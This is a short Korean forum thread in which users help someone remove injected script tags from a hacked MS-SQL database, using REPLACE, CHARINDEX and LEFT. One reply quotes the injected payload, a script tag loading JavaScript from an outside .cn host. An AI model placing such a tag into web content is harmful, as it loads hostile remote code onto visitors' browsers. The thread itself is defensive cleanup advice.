:: 게시판
:: 이전 게시판
|
이전 질문 게시판은 새 글 쓰기를 막았습니다. [질문 게시판]을 이용바랍니다.
통합규정 1.3 이용안내 인용"Pgr은 '명문화된 삭제규정'이 반드시 필요하지 않은 분을 환영합니다.법 없이도 사는 사람, 남에게 상처를 주지 않으면서 같이 이야기 나눌 수 있는 분이면 좋겠습니다."
08/05/13 17:23
update 테이블명
set 컬럼명 = replace( 컬럼명, '<script src<script src=http://www.killwow1.cn/g.js></script>', '' ) 이렇게 하면 될겁니다... 바꿔야 할 문자열은 그때그때 찾아서 하셔야 하구요...
08/05/13 17:28
일일이 모든 잘못된 문자열에 대해서 처리하는건 좀 빡시고..
재귀(recursive)쿼리를 이용해서 처리하면 될 것 같긴 한데 MS-SQL에서 어떻게 지원이 되는지 모르겠네요. 골치 아프시겠어요.. ㅠㅠ 그래서 입력값은 모두 일일히 validity 체크를 확실하게 ㅠㅠ
08/05/13 17:31
krumtrak 님 // 네 저도 처음엔 그방식으로 생각했는데요.. 바꿔야할 문자열이 무척많네요 ㅠ_ㅠ..
그래서 <script 로 시작하는 부분에서부터 오른쪽으로 전체를 날리려고하는데 쿼리로 할수가 없는건가요 OTZ.. 답변감사합니다 ㅠ_ㅠ..
08/05/13 17:49
&t;script 로 시작하는 부분에서부터 오른쪽으로 전체를 날리는 거라면...
charindex 와 left 함수를 조합하면 될것 같습니다... charindex 로 <script... 시작하는 자리 구해서 left 로 잘라내면 될것 같습니다... 조건만 잘 주면 될거같아요... ^^;
|